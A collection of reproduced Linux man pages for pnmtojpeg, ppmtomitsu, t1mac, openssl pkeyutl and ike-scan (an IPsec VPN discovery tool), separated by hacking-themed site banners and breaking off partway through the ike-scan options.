Use the scan script given in the specified text file. See below for information on scan scripts.

**-tracelevel=**N
This sets the level of debug tracing the program outputs as it runs. 0 means none, and is the default. This level primarily controls tracing of the JPEG library, and you can get some pretty interesting information about the compression process.

The “wizard” options are intended for experimentation with JPEG. If you don’t know what you are doing, don’t use them. These switches are documented further in the file wizard.doc that comes with the Independent JPEG Group’s JPEG library.

EXAMPLES

This example compresses the PPM file foo.ppm with a quality factor of 60 and saves the output as foo.jpg:

    pnmtojpeg -quality=60 foo.ppm > foo.jpg

Here’s a more typical example. It converts from BMP to JFIF:

    cat foo.bmp | bmptoppm | pnmtojpeg > foo.jpg

JPEG LOSS

When you compress with JPEG, you lose information – i.e. the resulting image has somewhat lower quality than the original. This is a characteristic of JPEG itself, not any particular program. So if you do the usual Netpbm thing and convert from JFIF to PNM, manipulate, then convert back to JFIF, you will lose quality. The more you do it, the more you lose. Drawings (charts, cartoons, line drawings, and such with few colors and sharp edges) suffer the most.

To avoid this, you can use a compressed image format other than JPEG. PNG and JPEG2000 are good choices, and Netpbm contains converters for those.

If you need to use JFIF on a drawing, you should experiment with pnmtojpeg’s -quality and -smooth options to get a satisfactory conversion. -smooth 10 or so is often helpful.

Because of the loss, you should do all the manipulation you have to do on the image in some other format and convert to JFIF as the last step. And if you can keep a copy in the original format, so much the better.

The -optimize option to pnmtojpeg is worth using when you are making a “final” version for posting or archiving. It’s also a win when you are using low quality settings to make very small JFIF files; the percentage improvement is often a lot more than it is on larger files. (At present, -optimize mode is automatically in effect when you generate a progressive JPEG file).

You can do flipping and rotating transformations losslessly with the program jpegtran, which is packaged with the Independent Jpeg Group’s JPEG library. jpegtran exercises its intimate knowledge of the way JPEG works to do the transformation without ever actually decompressing the image.

OTHER PROGRAMS

Another program, cjpeg, is similar. cjpeg is maintained by the Independent JPEG Group and packaged with the JPEG library which pnmtojpeg uses for all its JPEG work. Because of that, you may expect it to exploit more current JPEG features. Also, since you have to have the library to run pnmtojpeg, but not vice versa, cjpeg may be more commonly available.

On the other hand, cjpeg does not use the NetPBM libraries to process its input, as all the NetPBM tools such as pnmtojpeg do. This means it is less likely to be consistent with all the other programs that deal with the NetPBM formats. Also, the command syntax of pnmtojpeg is consistent with that of the other Netpbm tools, unlike cjpeg.

SCAN SCRIPTS

Use the -scan option to specify a scan script. Or use the -progressive option to specify a particular built-in scan script.

Just what a scan script is, and the basic format of the scan script file, is covered in the wizard.doc file that comes with the Independent JPEG Group’s JPEG library. Scan scripts are same for pnmtojpeg as the are for cjpeg.

This section contains additional information that isn’t, but probably should be, in that document.

First, there are many restrictions on what is a valid scan script. The JPEG library, and thus pnmtojpeg, checks thoroughly for any lack of compliance with these restrictions, but does little to tell you how the script fails to comply. The messages are very general and sometimes untrue.

To start with, the entries for the DC coefficient must come before any entries for the AC coefficients. The DC coefficient is Coefficient 0; all the other coefficients are AC coefficients. So in an entry for the DC coefficient, the two numbers after the colon must be 0 and 0. In an entry for AC coefficients, the first number after the colon must not be 0.

In a DC entry, the color components must be in increasing order. E.g. “0,2,1” before the colon is wrong. So is “0,0,0”.

In an entry for an AC coefficient, you must specify only one color component. I.e. there can be only one number before the colon.

In the first entry for a particular coefficient for a particular color component, the “Ah” value must be zero, but the Al value can be any valid bit number. In subsequent entries, Ah must be the Al value from the previous entry (for that coefficient for that color component), and the Al value must be one less than the Ah value.

The script must ultimately specify at least some of the DC coefficient for every color component. Otherwise, you get the error message “Script does not transmit all the data.” You need not specify all of the bits of the DC coefficient, or any of the AC coefficients.

There is a standard option in building the JPEG library to omit scan script capability. If for some reason your library was built with this option, you get the message “Requested feature was omitted at compile time.”

ENVIRONMENT

JPEGMEM
If this environment variable is set, its value is the default memory limit. The value is specified as described for the -maxmemory option. An explicit -maxmemory option overrides any JPEGMEM.

SEE ALSO

jpegtopnm(1) , pnm(1) , cjpeg man page, djpeg man page, jpegtran man page, rdjpgcom man page, wrjpgcom man page

Wallace, Gregory K. “The JPEG Still Picture Compression Standard”, Communications of the ACM, April 1991 (vol. 34, no. 4), pp. 30-44.

AUTHOR

pnmtojpeg and this manual were derived in large part from cjpeg, by the Independent JPEG Group. The program is otherwise by Bryan Henderson on March 07, 2000.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtojpeg.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1017 - Linux cli command ppmtomitsu

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtomitsu and provides detailed information about the command ppmtomitsu, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtomitsu.

.

NAME 🖥️ ppmtomitsu 🖥️

convert a PPM image to a Mitsubishi S340-10 file

SYNOPSIS

ppmtomitsu

[-sharpness val]

[-enlarge val]

[-media string]

[-copy val]

[-dpi300]

[-tiny]

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtomitsu reads a PPM image as input and converts it into a format suitable to be printed by a Mitsubishi S340-10 printer, or any other Mitsubishi color sublimation printer.

The Mitsubishi S340-10 Color Sublimation printer can print in 24 bit color. Images of the available sizes take so long to transfer that there is a fast method, employing a lookup table, that ppmtomitsu uses if there are no more than 256 colors in the image. ppmtomitsu tries to position your image at the center of the paper, and will rotate your image for you if xsize is larger than ysize. If your image is larger than the media allows, ppmtomitsu fails. (We decided that the media were too expensive to have careless users produce misprints). Once data transmission has started, the job can’t be stopped in a sane way without resetting the printer. The printer understands putting together images in the printer’s memory; ppmtomitsu doesn’t use this function because pamcat etc provide the same functions and let you view the result on-screen, too. The S340-10 is the lowest common denominator printer; for higher resolution printers there is the dpi300 option. The other printers are also capable of higher values for enlarge, etc., but I don’t think that is valuable enough to warrant a change in the program.

For proper results, the input maxval must be 255. Use pamdepth to ensure that it is.

Before Netpbm 10.40 (September 2007), all Netpbm PPM programs, including ppmtomitsu, see a PBM image as having maxval 1, so ppmtomitsu does not function properly with PBM input. You can use ppmtoppm together with pamdepth to turn your PBM input into maxval 255 PPM input that ppmtomitsu will use properly.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmtomitsu recognizes the following command line options:

-sharpness 1-4
“sharpness” designation. Default is to use the current sharpness.

-enlarge 1-3
Enlarge by a factor; Default is 1 (no enlarge)

-media {A|A4|AS|A4S}
Designate the media you’re using. Default is 1184 x 1350, which will fit on any media. A is 1216 x 1350, A4 is 1184 x 1452, AS is 1216 x 1650 and A4S is 1184 x 1754. A warning: If you specify a different media than the printer currently has, the printer will wait until you put in the correct media or switch it off.

-copy 1-9
The number of copies to produce. Default is 1.

-dpi300
Double the number of allowed pixels for a S3600-30 Printer in S340-10 compatibility mode. (The S3600-30 has 300 dpi).

-tiny
Memory-saving, but always slow. The printer will get the data line-by-line in 24bit. It’s probably a good idea to use this if your machine starts paging a lot without this option.

REFERENCES

Mitsubishi Sublimation Full Color Printer S340-10 Specifications of Parallel Interface LSP-F0232F

SEE ALSO

pnmquant(1) , pamscale(1) , ppm(1)

AUTHOR

Copyright (C) 1992, 93 by S.Petra Zeidler, MPIfR Bonn, Germany. ([email protected])

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtomitsu.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1018 - Linux cli command t1mac

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command t1mac and provides detailed information about the command t1mac, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the t1mac.

NAME 🖥️ t1mac 🖥️

translate a PFA or PFB PostScript Type 1 font into Macintosh format

SYNOPSIS

t1mac [–macbinary | –applesingle | –appledouble | –binhex | –raw] [–filename name] [input [output]]

DESCRIPTION

t1mac reads a PFA (hexadecimal) or PFB (binary) PostScript Type 1 font file and generates an equivalent Macintosh Type 1 font file. The output file can be in MacBinary II, AppleSingle, AppleDouble, or BinHex format, or it can be a raw resource fork. The default is MacBinary II; use an option to choose a different format. If the output file is not specified output goes to the standard output.

WARNING: The output of t1mac is not sufficient to use the font, since Macintoshes can’t read raw Type 1 fonts. You will need to create a font suitcase containing bitmap fonts if you do not have such a suitcase for the font already. t1mac cannot help you do this.

OPTIONS

–raw, -r
Indicates that output should be a raw resource fork.

–macbinary
Indicates that output should be in MacBinary I or II format. This is the default.

–applesingle
Indicates that output should be in AppleSingle format.

–appledouble
Indicates that output should be in AppleDouble format.

–binhex
Indicates that output should be in BinHex 4.0 format.

–filename=name, -n name
Sets the Macintosh filename of the output font to name. The default is to construct the filename from the font’s name using established Macintosh conventions. This option is not useful when output is a raw resource fork.

SEE ALSO

() () () () ()

AUTHORS

Eddie Kohler ([email protected])

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1019 - Linux cli command openssl-pkeyutlssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-pkeyutlssl and provides detailed information about the command openssl-pkeyutlssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-pkeyutlssl.

NAME 🖥️ openssl-pkeyutlssl 🖥️

pkeyutl - public key algorithm command

SYNOPSIS

openssl pkeyutl [-help] [-in file] [-rawin] [-digest algorithm] [-out file] [-sigfile file] [-inkey filename|uri] [-keyform DER|PEM|P12|ENGINE] [-passin arg] [-peerkey file] [-peerform DER|PEM|P12|ENGINE] [-pubin] [-certin] [-rev] [-sign] [-verify] [-verifyrecover] [-encrypt] [-decrypt] [-derive] [-kdf algorithm] [-kdflen length] [-pkeyopt opt:value] [-pkeyopt_passin opt[:passarg]] [-hexdump] [-asn1parse] [-engine id] [-engine_impl] [-rand files] [-writerand file] [-provider name] [-provider-path path] [-propquery propq] [-config configfile]

DESCRIPTION

This command can be used to perform low-level public key operations using any supported algorithm.

OPTIONS

-help
Print out a usage message.

-in filename
This specifies the input filename to read data from or standard input if this option is not specified.

-rawin
This indicates that the input data is raw data, which is not hashed by any message digest algorithm. The user can specify a digest algorithm by using the -digest option. This option can only be used with -sign and -verify and must be used with the Ed25519 and Ed448 algorithms.

-digest algorithm
This specifies the digest algorithm which is used to hash the input data before signing or verifying it with the input key. This option could be omitted if the signature algorithm does not require one (for instance, EdDSA). If this option is omitted but the signature algorithm requires one, a default value will be used. For signature algorithms like RSA, DSA and ECDSA, SHA-256 will be the default digest algorithm. For SM2, it will be SM3. If this option is present, then the -rawin option must be also specified.

-out filename
Specifies the output filename to write to or standard output by default.

-sigfile file
Signature file, required for -verify operations only

-inkey filename|uri
The input key, by default it should be a private key.

-keyform DER|PEM|P12|ENGINE
The key format; unspecified by default. See openssl-format-options (1) for details.

-passin arg
The input key password source. For more information about the format of arg see openssl-passphrase-options (1).

-peerkey file
The peer key file, used by key derivation (agreement) operations.

-peerform DER|PEM|P12|ENGINE
The peer key format; unspecified by default. See openssl-format-options (1) for details.

-pubin
By default a private key is read from the key input. With this option a public key is read instead. If the input contains no public key but a private key, its public part is used.

-certin
The input is a certificate containing a public key.

-rev
Reverse the order of the input buffer. This is useful for some libraries (such as CryptoAPI) which represent the buffer in little endian format.

-sign
Sign the input data (which must be a hash) and output the signed result. This requires a private key.

-verify
Verify the input data (which must be a hash) against the signature file and indicate if the verification succeeded or failed.

-verifyrecover
Verify the input data (which must be a hash) and output the recovered data.

-encrypt
Encrypt the input data using a public key.

-decrypt
Decrypt the input data using a private key.

-derive
Derive a shared secret using the peer key.

-kdf algorithm
Use key derivation function algorithm. The supported algorithms are at present TLS1-PRF and HKDF. Note: additional parameters and the KDF output length will normally have to be set for this to work. See EVP_PKEY_CTX_set_hkdf_md (3) and EVP_PKEY_CTX_set_tls1_prf_md (3) for the supported string parameters of each algorithm.

-kdflen length
Set the output length for KDF.

-pkeyopt opt:value
Public key options specified as opt:value. See NOTES below for more details.

-pkeyopt_passin opt[:passarg]
Allows reading a public key option opt from stdin or a password source. If only opt is specified, the user will be prompted to enter a password on stdin. Alternatively, passarg can be specified which can be any value supported by openssl-passphrase-options (1).

-hexdump
hex dump the output data.

-asn1parse
Parse the ASN.1 output data, this is useful when combined with the -verifyrecover option when an ASN1 structure is signed.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-engine_impl
When used with the -engine option, it specifies to also use engine id for crypto operations.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

-config configfile
See “Configuration Option” in openssl (1).

NOTES

The operations and options supported vary according to the key algorithm and its implementation. The OpenSSL operations and options are indicated below.

Unless otherwise mentioned all algorithms support the **digest:**alg option which specifies the digest in use for sign, verify and verifyrecover operations. The value alg should represent a digest name as used in the EVP_get_digestbyname() function for example sha1. This value is not used to hash the input data. It is used (by some algorithms) for sanity-checking the lengths of data passed in and for creating the structures that make up the signature (e.g. DigestInfo in RSASSA PKCS#1 v1.5 signatures).

This command does not hash the input data (except where -rawin is used) but rather it will use the data directly as input to the signature algorithm. Depending on the key type, signature type, and mode of padding, the maximum acceptable lengths of input data differ. The signed data can’t be longer than the key modulus with RSA. In case of ECDSA and DSA the data shouldn’t be longer than the field size, otherwise it will be silently truncated to the field size. In any event the input size must not be larger than the largest supported digest size.

In other words, if the value of digest is sha1 the input should be the 20 bytes long binary encoding of the SHA-1 hash function output.

RSA ALGORITHM

The RSA algorithm generally supports the encrypt, decrypt, sign, verify and verifyrecover operations. However, some padding modes support only a subset of these operations. The following additional pkeyopt values are supported:

rsa_padding_mode:mode
This sets the RSA padding mode. Acceptable values for mode are pkcs1 for PKCS#1 padding, none for no padding, oaep for OAEP mode, x931 for X9.31 mode and pss for PSS. In PKCS#1 padding, if the message digest is not set, then the supplied data is signed or verified directly instead of using a DigestInfo structure. If a digest is set, then the DigestInfo structure is used and its length must correspond to the digest type. Note, for pkcs1 padding, as a protection against the Bleichenbacher attack, the decryption will not fail in case of padding check failures. Use none and manual inspection of the decrypted message to verify if the decrypted value has correct PKCS#1 v1.5 padding. For oaep mode only encryption and decryption is supported. For x931 if the digest type is set it is used to format the block data otherwise the first byte is used to specify the X9.31 digest ID. Sign, verify and verifyrecover are can be performed in this mode. For pss mode only sign and verify are supported and the digest type must be specified.

rsa_pss_saltlen:len
For pss mode only this option specifies the salt length. Three special values are supported: digest sets the salt length to the digest length, max sets the salt length to the maximum permissible value. When verifying auto causes the salt length to be automatically determined based on the PSS block structure.

rsa_mgf1_md:digest
For PSS and OAEP padding sets the MGF1 digest. If the MGF1 digest is not explicitly set in PSS mode then the signing digest is used.

rsa_oaep_md:digest
Sets the digest used for the OAEP hash function. If not explicitly set then SHA1 is used.

rsa_pkcs1_implicit_rejection:flag
Disables (when set to 0) or enables (when set to 1) the use of implicit rejection with PKCS#1 v1.5 decryption. When enabled (the default), as a protection against Bleichenbacher attack, the library will generate a deterministic random plaintext that it will return to the caller in case of padding check failure. When disabled, it’s the callers’ responsibility to handle the returned errors in a side-channel free manner.

RSA-PSS ALGORITHM

The RSA-PSS algorithm is a restricted version of the RSA algorithm which only supports the sign and verify operations with PSS padding. The following additional -pkeyopt values are supported:

rsa_padding_mode:mode, rsa_pss_saltlen:len, rsa_mgf1_md:digest
These have the same meaning as the RSA algorithm with some additional restrictions. The padding mode can only be set to pss which is the default value. If the key has parameter restrictions then the digest, MGF1 digest and salt length are set to the values specified in the parameters. The digest and MG cannot be changed and the salt length cannot be set to a value less than the minimum restriction.

DSA ALGORITHM

The DSA algorithm supports signing and verification operations only. Currently there are no additional -pkeyopt options other than digest. The SHA1 digest is assumed by default.

DH ALGORITHM

The DH algorithm only supports the derivation operation and no additional -pkeyopt options.

EC ALGORITHM

The EC algorithm supports sign, verify and derive operations. The sign and verify operations use ECDSA and derive uses ECDH. SHA1 is assumed by default for the -pkeyopt digest option.

X25519 AND X448 ALGORITHMS

The X25519 and X448 algorithms support key derivation only. Currently there are no additional options.

ED25519 AND ED448 ALGORITHMS

These algorithms only support signing and verifying. OpenSSL only implements the “pure” variants of these algorithms so raw data can be passed directly to them without hashing them first. The option -rawin must be used with these algorithms with no -digest specified. Additionally OpenSSL only supports “oneshot” operation with these algorithms. This means that the entire file to be signed/verified must be read into memory before processing it. Signing or Verifying very large files should be avoided. Additionally the size of the file must be known for this to work. If the size of the file cannot be determined (for example if the input is stdin) then the sign or verify operation will fail.

SM2

The SM2 algorithm supports sign, verify, encrypt and decrypt operations. For the sign and verify operations, SM2 requires an Distinguishing ID string to be passed in. The following -pkeyopt value is supported:

distid:string
This sets the ID string used in SM2 sign or verify operations. While verifying an SM2 signature, the ID string must be the same one used when signing the data. Otherwise the verification will fail.

hexdistid:hex_string
This sets the ID string used in SM2 sign or verify operations. While verifying an SM2 signature, the ID string must be the same one used when signing the data. Otherwise the verification will fail. The ID string provided with this option should be a valid hexadecimal value.

EXAMPLES

Sign some data using a private key:

openssl pkeyutl -sign -in file -inkey key.pem -out sig

Recover the signed data (e.g. if an RSA key is used):

openssl pkeyutl -verifyrecover -in sig -inkey key.pem

Verify the signature (e.g. a DSA key):

openssl pkeyutl -verify -in file -sigfile sig -inkey key.pem

Sign data using a message digest value (this is currently only valid for RSA):

openssl pkeyutl -sign -in file -inkey key.pem -out sig -pkeyopt digest:sha256

Derive a shared secret value:

openssl pkeyutl -derive -inkey key.pem -peerkey pubkey.pem -out secret

Hexdump 48 bytes of TLS1 PRF using digest SHA256 and shared secret and seed consisting of the single byte 0xFF:

openssl pkeyutl -kdf TLS1-PRF -kdflen 48 -pkeyopt md:SHA256 \ -pkeyopt hexsecret:ff -pkeyopt hexseed:ff -hexdump

Derive a key using scrypt where the password is read from command line:

openssl pkeyutl -kdf scrypt -kdflen 16 -pkeyopt_passin pass \ -pkeyopt hexsalt:aabbcc -pkeyopt N:16384 -pkeyopt r:8 -pkeyopt p:1

Derive using the same algorithm, but read key from environment variable MYPASS:

openssl pkeyutl -kdf scrypt -kdflen 16 -pkeyopt_passin pass:env:MYPASS \ -pkeyopt hexsalt:aabbcc -pkeyopt N:16384 -pkeyopt r:8 -pkeyopt p:1

Sign some data using an SM2 (7) private key and a specific ID:

openssl pkeyutl -sign -in file -inkey sm2.key -out sig -rawin -digest sm3 \ -pkeyopt distid:someid

Verify some data using an SM2 (7) certificate and a specific ID:

openssl pkeyutl -verify -certin -in file -inkey sm2.cert -sigfile sig \ -rawin -digest sm3 -pkeyopt distid:someid

Decrypt some data using a private key with OAEP padding using SHA256:

openssl pkeyutl -decrypt -in file -inkey key.pem -out secret \ -pkeyopt rsa_padding_mode:oaep -pkeyopt rsa_oaep_md:sha256

SEE ALSO

openssl (1), openssl-genpkey (1), openssl-pkey (1), openssl-rsautl (1) openssl-dgst (1), openssl-rsa (1), openssl-genrsa (1), openssl-kdf (1) EVP_PKEY_CTX_set_hkdf_md (3), EVP_PKEY_CTX_set_tls1_prf_md (3),

HISTORY

The -engine option was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2006-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1020 - Linux cli command ike-scan

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ike-scan and provides detailed information about the command ike-scan, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ike-scan.

NAME 🖥️ ike-scan 🖥️

scan - Discover and fingerprint IKE hosts (IPsec VPN servers)

SYNOPSIS

ike-scan [options]* *[hosts…]

Target hosts must be specified on the command line unless the –file option is specified.

DESCRIPTION

ike-scan discovers IKE hosts and can also fingerprint them using the retransmission backoff pattern.

ike-scan does two things:

  1. Discovery: Determine which hosts are running IKE. This is done by displaying those hosts which respond to the IKE requests sent by ike-scan.

  2. Fingerprinting: Determine which IKE implementation the hosts are using. There are several ways to do this: (a) Backoff fingerprinting - recording the times of the IKE response packets from the target hosts and comparing the observed retransmission backoff pattern against known patterns; (b) vendor id fingerprinting - matching the vendor-specific vendor IDs against known vendor ID patterns; and (c) proprietary notify message codes.

The retransmission backoff fingerprinting concept is discussed in more detail in the UDP backoff fingerprinting paper which should be included in the ike-scan kit as udp-backoff-fingerprinting-paper.txt.

The program sends IKE Phase-1 requests to the specified hosts and displays any responses that are received. It handles retry and retransmission with backoff to cope with packet loss. It also limits the amount of bandwidth used by the outbound IKE packets.

IKE is the Internet Key Exchange protocol which is the key exchange and authentication mechanism used by IPsec. Just about all modern VPN systems implement IPsec, and the vast majority of IPsec VPNs use IKE for key exchange.

Phase-1 has two modes: Main Mode and Aggressive Mode. ike-scan supports both Main and Aggressive mode, and uses Main Mode by default. RFC 2409 (IKE) section 5 specifies that main mode must be implemented, therefore all IKE implementations can be expected to support main mode.

OPTIONS

–help or -h
Display this usage message and exit.

–file=<fn> or -f <fn>
Read hostnames or addresses from the specified file instead of from the command line. One name or IP address per line. Use “-” for standard input.

–sport=<p> or -s <p>
Set UDP source port to <p>, default=500, 0=random. Some IKE implementations require the client to use UDP source port 500 and will not talk to other ports. Note that superuser privileges are normally required to use non-zero source ports below 1024. Also only one process on a system may bind to a given source port at any one time. Use of the –nat-t option changes the default source port to 4500

–dport=<p> or -d <p>
Set UDP destination port to <p>, default=500. UDP port 500 is the assigned port number for ISAKMP and this is the port used by most if not all IKE implementations. Use of the –nat-t option changes the default destination port to 4500

–retry=<n> or -r <n>
Set total number of attempts per host to <n>, default=3.

–timeout=<n> or -t <n>
Set initial per host timeout to <n> ms, default=500. This timeout is for the first packet sent to each host. subsequent timeouts are multiplied by the backoff factor which is set with –backoff.

–bandwidth=<n> or -B <n>
Set desired outbound bandwidth to <n>, default=56000 The value is in bits per second by default. If you append “K” to the value, then the units are kilobits per second; and if you append “M” to the value, the units are megabits per second. The “K” and “M” suffixes represent the decimal, not binary, multiples. So 64K is 64000, not 65536.

–interval=<n> or -i <n>
Set minimum packet interval to <n> ms. The packet interval will be no smaller than this number. The interval specified is in milliseconds by default. if “u” is appended to the value, then the interval is in microseconds, and if “s” is appended, the interval is in seconds. If you want to use up to a given bandwidth, then it is easier to use the –bandwidth option instead. You cannot specify both –interval and –bandwidth because they are just different ways to change the same underlying variable.

–backoff=<b> or -b <b>
Set timeout backoff factor to <b>, default=1.50. The per-host timeout is multiplied by this factor after each timeout. So, if the number of retries is 3, the initial per-host timeout is 500ms and the backoff factor is 1.5, then the first timeout will be 500ms, the second 750ms and the third 1125ms.

–verbose or -v
Display verbose progress messages. Use more than once for greater effect: 1 - Show when each pass is completed and when packets with invalid cookies are received. 2 - Show each packet sent and received and when hosts are removed from the list. 3 - Display the host, Vendor ID and backoff lists before scanning starts.

–quiet or -q
Don’t decode the returned packet. This prints less protocol information so the output lines are shorter.

–multiline or -M
Split the payload decode across multiple lines. With this option, the decode for each payload is printed on a separate line starting with a TAB. This option makes the output easier to read, especially when there are many payloads.

–lifetime=<s> or -l <s>
Set IKE lifetime to <s> seconds, default=28800. RFC 2407 specifies 28800 as the default, but some implementations may require different values. If you specify this as a a decimal integer, e.g. 86400, then the attribute will use a 4-byte value. If you specify it as a hex number, e.g. 0xFF, then the attribute will use the appropriate size value (one byte for this example). If you specify the string “none” then no lifetime attribute will be added at all. You can use this option more than once in conjunction with the –trans options to produce multiple transform payloads with different lifetimes. Each –trans option will use the previously specified lifetime value.

–lifesize=<s> or -z <s>
Set IKE lifesize to <s> Kilobytes, default=0. If you specify this as a a decimal integer, e.g. 86400, then the attribute will use a 4-byte value. If you specify it as a hex number, e.g. 0xFF, then the attribute will use the appropriate size value (one byte for this example). You can use this option more than once in conjunction with the –trans options to produce multiple transform payloads with different lifesizes. Each –trans option will use the previously specified lifesize value.

–auth=<n> or -m <n>
Set auth. method to <n>, default=1 (PSK). RFC defined values are 1 to 5. See RFC 2409 Appendix A. Checkpoint hybrid mode is 64221. GSS (Windows “Kerberos”) is 65001. XAUTH uses 65001 to 65010. This is not applicable to IKEv2.

–version or -V
Display program version and exit.

–vendor=<v> or -e <v>
Set vendor id string to hex value <v>. You can use this option more than once to send multiple vendor ID payloads.

–trans=<t> or -a <t>
Use custom transform <t> instead of default set. You can use this option more than once to send an arbitrary number of custom transforms. There are two ways to specify the transform: The new way, where you specify the attribute/value pairs, and the old way where you specify the values for a fixed list of attributes. For the new method, the transform <t> is specified as (attr=value, attr=value, …) Where “attr” is the attribute number, and “value” is the value to assign to that attribute. You can specify an arbitary number of attribute/value pairs. See RFC 2409 Appendix A for details of the attributes and values. Note that brackets are special to some shells, so you may need to quote them, e.g. –trans="(1=1,2=2,3=3,4=4)". For example, –trans=(1=1,2=2,3=1,4=2) specifies Enc=3DES-CBC, Hash=SHA1, Auth=shared key, DH Group=2; and –trans=(1=7,14=128,2=1,3=3,4=5) specifies Enc=AES/128, Hash=MD5, Auth=RSA sig, DH Group=5. For the old method, the transform <t> is specified as enc[/len],hash,auth,group. Where enc is the encryption algorithm, len is the key length for variable length ciphers, hash is the hash algorithm, and group is the DH Group. For example, –trans=5,2,1,2 specifies Enc=3DES-CBC, Hash=SHA1, Auth=shared key, DH Group=2; and –trans=7/256,1,1,5 specifies Enc=AES-256, Hash=MD5, Auth=shared key, DH Group=5. This option is not yet supported for IKEv2.

–showbackoff[=<n>] or -o[<n>]
